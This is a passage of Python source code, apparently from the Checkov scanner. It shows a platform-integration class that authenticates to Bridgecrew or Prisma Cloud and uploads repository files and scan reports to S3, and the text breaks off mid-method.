ASSUME_ROLE_UNUATHORIZED_MESSAGE = 'is not authorized to perform: sts:AssumeRole' FileToPersist = namedtuple('FileToPersist', 'full_file_path s3_file_key') DEFAULT_REGION = "us-west-2" PRISMA_GOV_API_URL = 'https://api.gov.prismacloud.io' JAKARTA_API_URL = 'https://api.id.prismacloud.io' API_URL_REGION_MAP = { PRISMA_GOV_API_URL: 'us-gov-west-1', JAKARTA_API_URL: 'ap-southeast-3' } REGIONS_URL_NOT_SUPPORT_S3_ACCELERATE = { PRISMA_GOV_API_URL, JAKARTA_API_URL } MAX_RETRIES = 40 CI_METADATA_EXTRACTOR = registry.get_extractor() REQUEST_STATUS_CODES_RETRY = [401, 408, 500, 502, 503, 504] REQUEST_METHODS_TO_RETRY = ['DELETE', 'GET', 'HEAD', 'OPTIONS', 'PUT', 'TRACE', 'POST'] class BcPlatformIntegration: def __init__(self) -> None: self.clean() self.set_config() def clean(self) -> None: self.bc_api_key = read_key() self.s3_client: S3Client | None = None self.bucket: str | None = None self.credentials: dict[str, str] | None = None self.repo_path: str | None = None self.support_bucket: str | None = None self.support_repo_path: str | None = None self.repo_id: str | None = None self.repo_branch: str | None = None self.skip_fixes = False # even though we removed the CLI flag, this gets set so we know whether this is a fix run (IDE) or not (normal CLI) self.skip_download = False self.source_id: str | None = None self.bc_source: SourceType | None = None self.bc_source_version: str | None = None self.timestamp: str | None = None self.scan_reports: list[Report] = [] self.bc_api_url = normalize_bc_url(os.getenv('BC_API_URL')) self.prisma_api_url = normalize_prisma_url(os.getenv('PRISMA_API_URL') or 'https://api0.prismacloud.io') self.prisma_policies_url: str | None = None self.prisma_policy_filters_url: str | None = None self.custom_auth_headers: dict[str, str] = {} self.custom_auth_token: str | None = None self.setup_api_urls() self.customer_run_config_response = None self.runtime_run_config_response = None self.prisma_policies_response: dict[str, str] | None = None self.prisma_policies_exception_response: dict[str, str] | None = None self.public_metadata_response = None self.use_s3_integration = False self.s3_setup_failed = False self.platform_integration_configured = False self.http: urllib3.PoolManager | urllib3.ProxyManager | None = None self.http_timeout = urllib3.Timeout(connect=REQUEST_CONNECT_TIMEOUT, read=REQUEST_READ_TIMEOUT) self.http_retry = urllib3.Retry( REQUEST_RETRIES, redirect=3, status_forcelist=REQUEST_STATUS_CODES_RETRY, allowed_methods=REQUEST_METHODS_TO_RETRY ) self.bc_skip_mapping = False self.cicd_details: _CicdDetails = {} self.support_flag_enabled = False self.enable_persist_graphs = convert_str_to_bool(os.getenv('BC_ENABLE_PERSIST_GRAPHS', 'True')) self.persist_graphs_timeout = int(os.getenv('BC_PERSIST_GRAPHS_TIMEOUT', 60)) self.ca_certificate: str | None = None self.no_cert_verify: bool = False self.on_prem: bool = False self.daemon_process = False # set to 'True' when running in multiprocessing 'spawn' mode self.scan_dir: List[str] = [] self.scan_file: List[str] = [] self.sast_custom_policies: str = '' def init_instance(self, platform_integration_data: dict[str, Any]) -> None: """This is mainly used for recreating the instance without interacting with the platform again""" self.daemon_process = True self.bc_api_url = platform_integration_data["bc_api_url"] self.bc_api_key = platform_integration_data["bc_api_key"] self.bc_source = platform_integration_data["bc_source"] self.bc_source_version = platform_integration_data["bc_source_version"] self.bucket = platform_integration_data["bucket"] self.cicd_details = platform_integration_data["cicd_details"] self.credentials = platform_integration_data["credentials"] self.platform_integration_configured = platform_integration_data["platform_integration_configured"] self.prisma_api_url = platform_integration_data.get("prisma_api_url", 'https://api0.prismacloud.io') self.custom_auth_headers = platform_integration_data["custom_auth_headers"] self.custom_auth_token = platform_integration_data["custom_auth_token"] self.repo_branch = platform_integration_data["repo_branch"] self.repo_id = platform_integration_data["repo_id"] self.repo_path = platform_integration_data["repo_path"] self.skip_fixes = platform_integration_data["skip_fixes"] self.timestamp = platform_integration_data["timestamp"] self.use_s3_integration = platform_integration_data["use_s3_integration"] self.setup_api_urls() # 'mypy' doesn't like, when you try to override an instance method self.get_auth_token = MethodType(lambda _=None: platform_integration_data["get_auth_token"], self) # type:ignore[method-assign] def generate_instance_data(self) -> dict[str, Any]: """This output is used to re-initialize the instance and should be kept in sync with 'init_instance()'""" return { # 'api_url' will be set by invoking 'setup_api_urls()' "bc_api_url": self.bc_api_url, "bc_api_key": self.bc_api_key, "bc_source": self.bc_source, "bc_source_version": self.bc_source_version, "bucket": self.bucket, "cicd_details": self.cicd_details, "credentials": self.credentials, "platform_integration_configured": self.platform_integration_configured, "prisma_api_url": self.prisma_api_url, "custom_auth_headers": self.custom_auth_headers, "repo_branch": self.repo_branch, "repo_id": self.repo_id, "repo_path": self.repo_path, "skip_fixes": self.skip_fixes, "timestamp": self.timestamp, "use_s3_integration": self.use_s3_integration, # will be overridden with a simple lambda expression "get_auth_token": self.get_auth_token() if self.bc_api_key else "" } def set_bc_api_url(self, new_url: str) -> None: self.bc_api_url = normalize_bc_url(new_url) self.setup_api_urls() def setup_api_urls(self) -> None: """ API URLs vary depending upon whether the platform is Bridgecrew or Prisma Cloud. Bridgecrew has one default that can be used when initializing the class, but Prisma Cloud requires resetting them in setup_bridgecrew_credentials, which is where command-line parameters are first made available. """ if self.bc_api_url: self.api_url = self.bc_api_url else: self.api_url = f"{self.prisma_api_url}/bridgecrew" self.prisma_policies_url = f"{self.prisma_api_url}/v2/policy" self.prisma_policy_filters_url = f"{self.prisma_api_url}/filter/policy/suggest" self.guidelines_api_url = f"{self.api_url}/api/v2/guidelines" self.guidelines_api_url_backoff = f"{self.api_url}/api/v1/guidelines" self.integrations_api_url = f"{self.api_url}/api/v1/integrations/types/checkov" self.platform_run_config_url = f"{self.api_url}/api/v2/checkov/runConfiguration" self.reachability_run_config_url = f"{self.api_url}/api/v2/checkov/reachabilityRunConfiguration" self.runtime_run_config_url = f"{self.api_url}/api/v1/runtime-images/repositories" def is_prisma_integration(self) -> bool: if (self.bc_api_key and not self.is_bc_token(self.bc_api_key)) or self.custom_auth_token: return True return False @staticmethod def is_token_valid(token: str) -> bool: parts = token.split('::') parts_len = len(parts) if parts_len == 1: valid = BcPlatformIntegration.is_bc_token(token) # TODO: add it back at a later time # if valid: # print( # "We're glad you're using Checkov with Bridgecrew!\n" # "Bridgecrew has been fully integrated into Prisma Cloud with a powerful code to cloud experience.\n" # "As a part of the transition, we will be shutting down Bridgecrew standalone edition at the end of 2023 (https://www.paloaltonetworks.com/services/support/end-of-life-announcements).\n" # "Please upgrade to Prisma Cloud Enterprise Edition before the end of the year.\n" # ) return valid elif parts_len == 2: # A Prisma access key is a UUID, same as a BC API key if BcPlatformIntegration.is_bc_token(parts[0]) and parts[1] and BASE64_PATTERN.match(parts[1]) is not None: return True return False else: return False @staticmethod def is_bc_token(token: str | None) -> TypeGuard[str]: if not token: return False return re.match(UUID_V4_PATTERN, token) is not None @cached(TTLCache(maxsize=1, ttl=540)) def get_auth_token(self) -> str: if self.is_bc_token(self.bc_api_key): return self.bc_api_key if self.custom_auth_token: return self.custom_auth_token # A Prisma Cloud Access Key was specified as the Bridgecrew token. if not self.prisma_api_url: raise ValueError("A Prisma Cloud token was set, but no Prisma Cloud API URL was set") if not self.bc_api_key: # should usually not happen raise ValueError("A Prisma Cloud or Birdgecrew token was not set") if '::' not in self.bc_api_key: raise ValueError( "A Prisma Cloud token was set, but the token is not in the correct format: ::") if not self.http: raise AttributeError("HTTP manager was not correctly created") username, password = self.bc_api_key.split('::') request = self.http.request("POST", f"{self.prisma_api_url}/login", # type:ignore[no-untyped-call] body=json.dumps({"username": username, "password": password}), headers=merge_dicts({"Content-Type": "application/json"}, get_user_agent_header())) if request.status == 401: logging.error(f'Received 401 response from Prisma /login endpoint: {request.data.decode("utf8")}') raise BridgecrewAuthError() elif request.status == 403: logging.error('Received 403 (Forbidden) response from Prisma /login endpoint') raise BridgecrewAuthError() token: str = json.loads(request.data.decode("utf8"))['token'] return token def setup_http_manager(self, ca_certificate: str | None = None, no_cert_verify: bool = False) -> None: """ bridgecrew uses both the urllib3 and requests libraries, while checkov uses the requests library. :param ca_certificate: an optional CA bundle to be used by both libraries. :param no_cert_verify: whether to skip SSL cert verification """ self.ca_certificate = ca_certificate self.no_cert_verify = no_cert_verify ca_certificate = ca_certificate or os.getenv('BC_CA_BUNDLE') cert_reqs: str | None if self.http: return if ca_certificate: os.environ['REQUESTS_CA_BUNDLE'] = ca_certificate cert_reqs = 'CERT_NONE' if no_cert_verify else 'REQUIRED' logging.debug(f'Using CA cert {ca_certificate} and cert_reqs {cert_reqs}') try: parsed_url = urllib3.util.parse_url(os.environ['https_proxy']) self.http = urllib3.ProxyManager( os.environ['https_proxy'], cert_reqs=cert_reqs, ca_certs=ca_certificate, proxy_headers=urllib3.make_headers(proxy_basic_auth=parsed_url.auth), # type:ignore[no-untyped-call] timeout=self.http_timeout, retries=self.http_retry, ) except KeyError: self.http = urllib3.PoolManager( cert_reqs=cert_reqs, ca_certs=ca_certificate, timeout=self.http_timeout, retries=self.http_retry, ) else: cert_reqs = 'CERT_NONE' if no_cert_verify else None logging.debug(f'Using cert_reqs {cert_reqs}') try: parsed_url = urllib3.util.parse_url(os.environ['https_proxy']) self.http = urllib3.ProxyManager( os.environ['https_proxy'], cert_reqs=cert_reqs, proxy_headers=urllib3.make_headers(proxy_basic_auth=parsed_url.auth), # type:ignore[no-untyped-call] timeout=self.http_timeout, retries=self.http_retry, ) except KeyError: self.http = urllib3.PoolManager( cert_reqs=cert_reqs, timeout=self.http_timeout, retries=self.http_retry, ) logging.debug('Successfully set up HTTP manager') @staticmethod def set_config() -> None: # asyncio - on windows aiodns needs SelectorEventLoop if sys.platform == 'win32': asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy()) def setup_bridgecrew_credentials( self, repo_id: str, skip_download: bool = False, source: SourceType | None = None, skip_fixes: bool = False, source_version: str | None = None, repo_branch: str | None = None, prisma_api_url: str | None = None, bc_api_url: str | None = None ) -> None: """ Setup credentials against Bridgecrew's platform. :param repo_id: Identity string of the scanned repository, of the form / :param skip_download: whether to skip downloading data (guidelines, custom policies, etc) from the platform :param source: :param prisma_api_url: optional URL for the Prisma Cloud platform, requires a Prisma Cloud Access Key as bc_api_key """ self.repo_id = repo_id self.repo_branch = repo_branch self.skip_fixes = skip_fixes self.skip_download = skip_download self.bc_source = source self.bc_source_version = source_version if bc_api_url: self.prisma_api_url = None self.bc_api_url = normalize_bc_url(bc_api_url) self.setup_api_urls() logging.info(f'Using BC API URL: {self.bc_api_url}') if prisma_api_url: self.prisma_api_url = normalize_prisma_url(prisma_api_url) self.setup_api_urls() logging.info(f'Using Prisma API URL: {self.prisma_api_url}') if self.bc_source and self.bc_source.upload_results: self.set_s3_integration() self.platform_integration_configured = True def _get_source_id_from_repo_path(self, repo_path: str) -> str | None: repo_path_parts = repo_path.split("/") if not repo_path_parts and repo_path_parts[0] != 'checkov': logging.error(f'failed to get source_id from repo_path. repo_path format is unknown: ${repo_path}') return None try: return '/'.join(repo_path_parts[2:4]) except IndexError: logging.error(f'failed to get source_id from repo_path. repo_path format is unknown: ${repo_path}') return None def set_s3_integration(self) -> None: try: self.skip_fixes = True # no need to run fixes on CI integration repo_full_path, support_path, response = self.get_s3_role(self.repo_id) # type: ignore if not repo_full_path: # happens if the setup fails with something other than an auth error - we continue locally return self.bucket, self.repo_path = repo_full_path.split("/", 1) self.source_id = self._get_source_id_from_repo_path(self.repo_path) self.timestamp = self.repo_path.split("/")[-2] self.credentials = cast("dict[str, str]", response["creds"]) self.set_s3_client() if self.support_flag_enabled: self.support_bucket, self.support_repo_path = cast(str, support_path).split("/", 1) self.use_s3_integration = True self.platform_integration_configured = True except MaxRetryError as e: # almost all failures should be caught by this block - we need to differentiate what actually happened # for the causes that are almost certainly user error, we want to hide the exception details # so that it does not look like checkov crashed due to a bug (stack traces are scary for users) if str(e.reason) == 'too many 401 error responses': logging.error('An authentication error occurred connecting to the platform after multiple retries. ' 'Please verify that your API key and Prisma API URL are correct, and retry.') elif isinstance(e.reason, urllib3.exceptions.SSLError): logging.error("An SSL error occurred connecting to the platform. If you are on a VPN, please try " f"disabling it and re-running the command. The error is: {e.reason}") else: logging.error('An error occurred connecting to the platform after multiple retries. Please verify your ' 'API key and Prisma API URL, as well as network connectivity, and retry. If the problem ' 'persists, please enable debug logs and contact support.') logging.debug('The exception details:', exc_info=True) raise PlatformConnectionError(str(e.reason)) from e except HTTPError as e: logging.error('An unexpected error occurred connecting to the platform. Please verify your ' 'API key and Prisma API URL, as well as network connectivity, and retry. If the problem ' 'persists, please enable debug logs and contact support.', exc_info=True) raise PlatformConnectionError(str(e)) from e except JSONDecodeError as e: logging.error('An unexpected error occurred processing the response from the platform. Please verify your ' 'API key and Prisma API URL, as well as network connectivity, and retry. If the problem ' 'persists, please enable debug logs and contact support.', exc_info=True) raise PlatformConnectionError(str(e)) from e except BridgecrewAuthError: logging.error('An authentication error occurred connecting to the platform after multiple retries. ' 'Please verify that your API keys and Prisma API URL are correct, and retry.') raise def set_s3_client(self) -> None: if not self.credentials: raise ValueError("Credentials for client are not set") region = DEFAULT_REGION use_accelerate_endpoint = True if self.prisma_api_url in REGIONS_URL_NOT_SUPPORT_S3_ACCELERATE: use_accelerate_endpoint = False region = API_URL_REGION_MAP[self.prisma_api_url] try: config = Config( s3={ "use_accelerate_endpoint": use_accelerate_endpoint, } ) self.s3_client = boto3.client( "s3", aws_access_key_id=self.credentials["AccessKeyId"], aws_secret_access_key=self.credentials["SecretAccessKey"], aws_session_token=self.credentials["SessionToken"], region_name=region, config=config, ) except ClientError: logging.error(f"Failed to initiate client with credentials {self.credentials}", exc_info=True) raise def get_s3_role(self, repo_id: str) -> tuple[str, str, dict[str, Any]] | tuple[None, None, dict[str, Any]]: token = self.get_auth_token() if not self.http: raise AttributeError("HTTP manager was not correctly created") tries = 0 response = self._get_s3_creds(repo_id, token) while ('Message' in response or 'message' in response): if response.get('Message') and response['Message'] == UNAUTHORIZED_MESSAGE: raise BridgecrewAuthError() elif response.get('message') and ASSUME_ROLE_UNUATHORIZED_MESSAGE in response['message']: raise BridgecrewAuthError( "Checkov got an unexpected authorization error that may not be due to your credentials. Please contact support.") elif response.get('message') and "cannot be found" in response['message']: self.loading_output("creating role") response = self._get_s3_creds(repo_id, token) else: if tries < 3: tries += 1 response = self._get_s3_creds(repo_id, token) else: logging.error('Checkov got an unexpected error that may be due to backend issues. The scan will continue, ' 'but results will not be sent to the platform. Please contact support for assistance.') logging.error(f'Error from platform: {response.get("message") or response.get("Message")}') self.s3_setup_failed = True return None, None, response repo_full_path = response["path"] support_path = response.get("supportPath") return repo_full_path, support_path, response def _get_s3_creds(self, repo_id: str, token: str) -> dict[str, Any]: logging.debug(f'Getting S3 upload credentials from {self.integrations_api_url}') request = self.http.request("POST", self.integrations_api_url, # type:ignore[union-attr] body=json.dumps({"repoId": repo_id, "support": self.support_flag_enabled}), headers=merge_dicts({"Authorization": token, "Content-Type": "application/json"}, get_user_agent_header(), self.custom_auth_headers)) logging.debug(f'Request ID: {request.headers.get("x-amzn-requestid")}') logging.debug(f'Trace ID: {request.headers.get("x-amzn-trace-id")}') if request.status == 403: error_message = get_auth_error_message(request.status, self.is_prisma_integration(), True) raise BridgecrewAuthError(error_message) response: dict[str, Any] = json.loads(request.data.decode("utf8")) return response def is_integration_configured(self) -> bool: """ Checks if Bridgecrew integration is fully configured based in input params. :return: True if the integration is configured, False otherwise """ return self.platform_integration_configured def persist_repository( self, root_dir: str | Path, files: list[str] | None = None, excluded_paths: list[str] | None = None, included_paths: list[str] | None = None, sast_languages: Set[SastLanguages] | None = None ) -> None: """ Persist the repository found on root_dir path to Bridgecrew's platform. If --file flag is used, only files that are specified will be persisted. :param files: Absolute path of the files passed in the --file flag. :param root_dir: Absolute path of the directory containing the repository root level. :param excluded_paths: Paths to exclude from persist process :param included_paths: Paths to exclude from persist process """ excluded_paths = excluded_paths if excluded_paths is not None else [] if not self.use_s3_integration or self.s3_setup_failed: return files_to_persist: List[FileToPersist] = [] if files: for f in files: f_name = os.path.basename(f) _, file_extension = os.path.splitext(f) if file_extension in SCANNABLE_PACKAGE_FILES: continue if file_extension in SUPPORTED_FILE_EXTENSIONS or f_name in SUPPORTED_FILES: files_to_persist.append(FileToPersist(f, os.path.relpath(f, root_dir))) if sast_languages: for framework in sast_languages: if file_extension in SAST_SUPPORTED_FILE_EXTENSIONS[framework]: files_to_persist.append(FileToPersist(f, os.path.relpath(f, root_dir))) break else: for root_path, d_names, f_names in os.walk(root_dir): # self.excluded_paths only contains the config fetched from the platform. # but here we expect the list from runner_registry as well (which includes self.excluded_paths). filter_ignored_paths(root_path, d_names, excluded_paths, included_paths=included_paths) filter_ignored_paths(root_path, f_names, excluded_paths) for file_path in f_names: _, file_extension = os.path.splitext(file_path) if file_extension in SCANNABLE_PACKAGE_FILES: continue full_file_path = os.path.join(root_path, file_path) relative_file_path = os.path.relpath(full_file_path, root_dir) if file_extension in SUPPORTED_FILE_EXTENSIONS or file_path in SUPPORTED_FILES or is_dockerfile(file_path): files_to_persist.append(FileToPersist(full_file_path, relative_file_path)) if sast_languages: for framework in sast_languages: if file_extension in SAST_SUPPORTED_FILE_EXTENSIONS[framework]: files_to_persist.append(FileToPersist(full_file_path, relative_file_path)) break self.persist_files(files_to_persist) def persist_git_configuration(self, root_dir: str | Path, git_config_folders: list[str]) -> None: if not self.use_s3_integration or self.s3_setup_failed: return files_to_persist: list[FileToPersist] = [] for git_config_folder in git_config_folders: if not os.path.isdir(git_config_folder): continue if not len(os.listdir(git_config_folder)): continue for root_path, _, f_names in os.walk(git_config_folder): for file_path in f_names: _, file_extension = os.path.splitext(file_path) if file_extension in SUPPORTED_FILE_EXTENSIONS: full_file_path = os.path.join(root_path, file_path) relative_file_path = os.path.relpath(full_file_path, root_dir) files_to_persist.append(FileToPersist(full_file_path, relative_file_path)) self.persist_files(files_to_persist) def adjust_sast_match_location_path(self, match: Match) -> None: for dir in self.scan_dir: if match.location.path.startswith(os.path.abspath(dir)): match.location.path = match.location.path.replace(os.path.abspath(dir), self.repo_path) # type: ignore if match.metadata.code_locations: for code_location in match.metadata.code_locations: code_location.path = code_location.path.replace(os.path.abspath(dir), self.repo_path) # type: ignore if match.metadata.taint_mode and match.metadata.taint_mode.data_flow: for df in match.metadata.taint_mode.data_flow: df.path = df.path.replace(os.path.abspath(dir), self.repo_path) # type: ignore return for file in self.scan_file: if match.location.path == os.path.abspath(file): file_dir = '/'.join(match.location.path.split('/')[0:-1]) match.location.path = match.location.path.replace(os.path.abspath(file_dir), self.repo_path) # type: ignore if match.metadata.code_locations: for code_location in match.metadata.code_locations: code_location.path = code_location.path.replace(os.path.abspath(file_dir), self.repo_path) # type: ignore if match.metadata.taint_mode and match.metadata.taint_mode.data_flow: for df in match.metadata.taint_mode.data_flow: df.path = df.path.replace(os.path.abspath(file_dir), self.repo_path) # type: ignore return def adjust_sast_skipped_checks_path(self, skipped_checks_by_file: Dict[str, List[SkippedCheck]]) -> None: for filepath in list(skipped_checks_by_file.keys()): new_filepath = None for dir in self.scan_dir: if filepath.startswith(os.path.abspath(dir)): file_dir = '/'.join(filepath.split('/')[0:-1]) new_filepath = filepath.replace(os.path.abspath(file_dir), self.repo_path) # type: ignore break for file in self.scan_file: if filepath == os.path.abspath(file): file_dir = '/'.join(filepath.split('/')[0:-1]) new_filepath = filepath.replace(os.path.abspath(file_dir), self.repo_path) # type: ignore break if new_filepath: skipped_checks_by_file[new_filepath] = skipped_checks_by_file[filepath] skipped_checks_by_file.pop(filepath) @staticmethod def _delete_code_block_from_sast_report(report: Dict[str, Any]) -> None: if isinstance(report, dict): for key, value in report.items(): if key == 'code_block': report[key] = '' BcPlatformIntegration._delete_code_block_from_sast_report(value) if isinstance(report, list): for item in report: BcPlatformIntegration._delete_code_block_from_sast_report(item) @staticmethod def save_sast_report_locally(sast_scan_reports: Dict[str, Dict[str, Any]]) -> None: for lang, report in sast_scan_reports.items(): filename = f'{lang}_report.json' with open(f"/tmp/{filename}", 'w') as f: # nosec f.write(json.dumps(report)) def persist_sast_scan_results(self, reports: List[Report]) -> None: sast_scan_reports = {} for report in reports: if not report.check_type.lower().startswith(CheckType.SAST): continue if not hasattr(report, 'sast_report') or not report.sast_report: continue for _, match_by_check in report.sast_report.rule_match.items(): for _, match in match_by_check.items(): for m in match.matches: self.adjust_sast_match_location_path(m) self.adjust_sast_skipped_checks_path(report.sast_report.skipped_checks_by_file) sast_scan_reports[report.check_type] = report.sast_report.model_dump(mode='json') if self.on_prem: BcPlatformIntegration._delete_code_block_from_sast_report(sast_scan_reports) if os.getenv('SAVE_SAST_REPORT_LOCALLY'): self.save_sast_report_locally(sast_scan_reports) persist_checks_results(sast_scan_reports, self.s3_client, self.bucket, self.repo_path) # type: ignore def persist_cdk_scan_results(self, reports: List[Report]) -> None: cdk_scan_reports = {} for report in reports: if not report.check_type.startswith(CDK_FRAMEWORK_PREFIX): continue if not report.cdk_report: # type: ignore continue for match_by_check in report.cdk_report.rule_match.values(): # type: ignore for _, match in match_by_check.items(): for m in match.matches: self.adjust_sast_match_location_path(m) cdk_scan_reports[report.check_type] = report.cdk_report.model_dump(mode='json') # type: ignore if self.on_prem: BcPlatformIntegration._delete_code_block_from_sast_report(cdk_scan_reports) # In case we dont have sast report - create empty one sast_reports = {} for check_type, report in cdk_scan_reports.items(): lang = check_type.split('_')[1] found_sast_report = False for report in reports: if report.check_type == f'sast_{lang}': found_sast_report = True if not found_sast_report: sast_reports[f'sast_{lang}'] = report.empty_sast_report.model_dump(mode='json') # type: ignore persist_checks_results(sast_reports, self.s3_client, self.bucket, self.repo_path) # type: ignore persist_checks_results(cdk_scan_reports, self.s3_client, self.bucket, self.repo_path) # type: ignore def persist_scan_results(self, scan_reports: list[Report]) -> None: """ Persist checkov's scan result into bridgecrew's platform. :param scan_reports: List of checkov scan reports """ if not self.use_s3_integration or not self.s3_client or self.s3_setup_failed: return if not self.bucket or not self.repo_path: logging.error(f"Something went wrong: bucket {self.bucket}, repo path {self.repo_path}") return # just process reports with actual results in it self.scan_reports = [scan_report for scan_report in scan_reports if not scan_report.is_empty(full=True)] reduced_scan_reports = reduce_scan_reports(self.scan_reports, self.on_prem) checks_metadata_paths = enrich_and_persist_checks_metadata(self.scan_reports, self.s3_client, self.bucket, self.repo_path, self.on_prem) dpath.merge(reduced_scan_reports, checks_metadata_paths) persist_checks_results(reduced_scan_reports, self.s3_client, self.bucket, self.repo_path) async def persist_reachability_alias_mapping(self, alias_mapping: Dict[str, Any]) -> None: if not self.use_s3_integration or not self.s3_client or self.s3_setup_failed: return if not self.bucket or not self.repo_path: logging.error(f"Something went wrong: bucket {self.bucket}, repo path {self.repo_path}") return s3_path = f'{self.repo_path}/alias_mapping.json' _put_json_object(self.s3_client, alias_mapping, self.bucket, s3_path) def persist_assets_scan_results(self, assets_report: Optional[Dict[str, Any]]) -> None: if not assets_report: return for lang, assets in assets_report['imports'].items(): new_report = {'imports': {lang.value: assets}} persist_assets_results(f'sast_{lang.value}', new_report, self.s3_client, self.bucket, self.repo_path) def persist_reachability_scan_results(self, reachability_report: Optional[Dict[str, Any]]) -> None: if not reachability_report: return for lang, report in reachability_report.items(): persist_reachability_results(f'sast_{lang}', {lang: report}, self.s3_client, self.bucket, self.repo_path) def persist_image_scan_results(self, report: dict[str, Any] | None, file_path: str, image_name: str, branch: str) -> None: if not self.s3_client: logging.error("S3 upload was not correctly initialized") return if not self.bucket or not self.repo_path: logging.error("Bucket or repo_path was not set") return repo_path_without_src = os.path.dirname(self.repo_path) target_report_path = f'{repo_path_without_src}/{checkov_results_prefix}/{CheckType.SCA_IMAGE}/raw_results.json' to_upload = {"report": report, "file_path": file_path, "image_name": image_name, "branch": branch} _put_json_object(self.s3_client, to_upload, self.bucket, target_report_path) def persist_enriched_secrets(self, enriched_secrets: list[EnrichedSecret]) -> str | None: if not enriched_secrets or not self.repo_path or not self.bucket: logging.debug(f'One of enriched secrets, repo path, or bucket are empty, aborting. values:' f'enriched_secrets={"Valid" if enriched_secrets else "Empty"},' f' repo_path={self.repo_path}, bucket={self.bucket}') return None if not bc_integration.bc_api_key or not os.getenv("CKV_VALIDATE_SECRETS"): logging.debug('Skipping persistence of enriched secrets object as secrets verification is off,' ' enabled it via env var CKV_VALIDATE_SECRETS and provide an api key') return None if not self.s3_client: logging.error("S3 upload was not correctly initialized") return None base_path = re.sub(REPO_PATH_PATTERN, r'original_secrets/\1', self.repo_path) s3_path = f'{base_path}/{uuid.uuid4()}.json' try: _put_json_object(self.s3_client, enriched_secrets, self.bucket, s3_path, log_stack_trace_on_error=False) except ClientError: logging.warning("Got access denied, retrying as s3 role changes should be propagated") sleep(4) try: _put_json_object(self.s3_client, enriched_secrets, self.bucket, s3_path, log_stack_trace_on_error=False) except ClientError: logging.error("Getting access denied consistently, skipping secrets verification, please try again") return None return s3_path def persist_run_metadata(self, run_metadata: dict[str, str | list[str]]) -> None: if not self.use_s3_integration or not self.s3_client or self.s3_setup_failed: return if not self.bucket or not self.repo_path: logging.error(f"Something went wrong: bucket {self.bucket}, repo path {self.repo_path}") return persist_run_metadata(run_metadata, self.s3_client, self.bucket, self.repo_path, True) if self.support_bucket and self.support_repo_path: logging.debug(f'Also uploading run_metadata.json to support location: {self.support_bucket}/{self.support_repo_path}') persist_run_metadata(run_metadata, self.s3_client, self.support_bucket, self.support_repo_path, False) def persist_all_logs_streams(self, logs_streams: Dict[str, StringIO]) -> None: if not self.use_s3_integration or not self.s3_client or self.s3_setup_failed: return if not self.support_bucket or not self.support_repo_path: logging.error( f"Something went wrong with the log upload location: bucket {self.support_bucket}, repo path {self.support_repo_path}") return persist_multiple_logs_stream(logs_streams, self.s3_client, self.support_bucket, self.support_repo_path) def persist_graphs(self, graphs: dict[str, list[tuple[LibraryGraph, Optional[str]]]], absolute_root_folder: str = '') -> None: if not self.use_s3_integration or not self.s3_client or self.s3_setup_failed: return if not self.bucket or not self.repo_path: logging.error(f"Something went wrong: bucket {self.bucket}, repo path {self.repo_path}") return persist_graphs(graphs, self.s3_client, self.bucket, self.repo_path, self.persist_graphs_timeout, absolute_root_folder=absolute_root_folder) def persist_resource_subgraph_maps(self, resource_subgraph_maps: dict[str, dict[str, str]]) -> None: if not self.use_s3_integration or not self.s3_client or self.s3_setup_failed: return if not self.bucket or not self.repo_path: logging.error(f"Something went wrong: bucket {self.bucket}, repo path {self.repo_path}") return persist_resource_subgraph_maps(resource_subgraph_maps, self.s3_client, self.bucket, self.repo_path, self.persist_graphs_timeout) def commit_repository(self, branch: str) -> str | None: """ :param branch: branch to be persisted Finalize the repository's scanning in bridgecrew's platform. """ try_num = 0 while try_num < MAX_RETRIES: if not self.use_s3_integration or self.s3_setup_failed: return None request = None response = None try: if not self.http: logging.error("HTTP manager was not correctly created") return None if not self.bc_source: logging.error("Source was not set") return None if not self.bc_source.upload_results: # no need to upload something return None logging.debug(f'Submitting finalize upload request to {self.integrations_api_url}') request = self.http.request("PUT", f"{self.integrations_api_url}?source={self.bc_source.name}", # type:ignore[no-untyped-call] body=json.dumps( {"path": self.repo_path, "branch": branch, "to_branch": CI_METADATA_EXTRACTOR.to_branch, "pr_id": CI_METADATA_EXTRACTOR.pr_id, "pr_url": CI_METADATA_EXTRACTOR.pr_url, "commit_hash": CI_METADATA_EXTRACTOR.commit_hash, "commit_url": CI_METADATA_EXTRACTOR.commit_url, "author": CI_METADATA_EXTRACTOR.author_name, "author_url": CI_METADATA_EXTRACTOR.author_url, "run_id": CI_METADATA_EXTRACTOR.run_id, "run_url": CI_METADATA_EXTRACTOR.run_url, "repository_url": CI_METADATA_EXTRACTOR.repository_url}), headers=merge_dicts({"Authorization": self.get_auth_token(), "Content-Type": "application/json", 'x-api-client': self.bc_source.name, 'x-api-checkov-version': checkov_version}, get_user_agent_header(), self.custom_auth_headers )) response = json.loads(request.data.decode("utf8")) logging.debug(f'Request ID: {request.headers.get("x-amzn-requestid")}') logging.debug(f'Trace ID: {request.headers.get("x-amzn-trace-id")}') url: str = self.get_sso_prismacloud_url(response.get("url", None)) return url except HTTPError: logging.error(f"Failed to commit repository {self.repo_path}", exc_info=True) self.s3_setup_failed = True except JSONDecodeError: if request: logging.warning(f"Response (status: {request.status}) of {self.integrations_api_url}: {request.data.decode('utf8')}") # danger:ignore - we won't be here if the response contains valid data logging.error(f"Response of {self.integrations_api_url} is not a valid JSON", exc_info=True) self.s3_setup_failed = True finally: if request and request.status == 201 and response and response.get("result") == "Success": logging.info(f"Finalize repository {self.repo_id} in the platform") elif ( response and try_num < MAX_RETRIES and re.match("The integration ID .* in progress", response.get("message", "")) ): logging.info( f"Failed to persist for repo {self.repo_id}, sleeping for {SLEEP_SECONDS} seconds before retrying") try_num += 1 sleep(SLEEP_SECONDS) else: logging.error(f"Failed to finalize repository {self.repo_id} in the platform with the following error:\n{response}") self.s3_setup_failed = True return None def persist_files(self, files_to_persist: list[FileToPersist]) -> None: logging.info(f"Persisting {len(files_to_persist)} files") with futures.ThreadPoolExecutor() as executor: futures.wait( [executor.submit(self._persist_file, file_to_persist.full_file_path, file_to_persist.s3_file_key) for file_to_persist in files_to_persist], return_when=futures.FIRST_EXCEPTION, ) logging.info(f"Done persisting {len(files_to_persist)} files") def _persist_file(self, full_file_path: str, s3_file_key: str) -> None: tries = MAX_RETRIES curr_try = 0 if not self.s3_client or not self.bucket or not self.repo_path: logging.error( f"Something went wrong: S3 client {self.s3_client} bucket {self.bucket}, repo path {self.repo_path}" ) return file_object_key = os.path.join(self.repo_path, s3_file_key).replace("\\", "/") while curr_try < tries: try: self.s3_client.upload_file(full_file_path, self.bucket, file_object_key) return except ClientError as e: if e.response.get('Error', {}).get('Code') == 'AccessDenied': sleep(SLEEP_SECONDS) curr_try += 1 else: logging.error(f"failed to 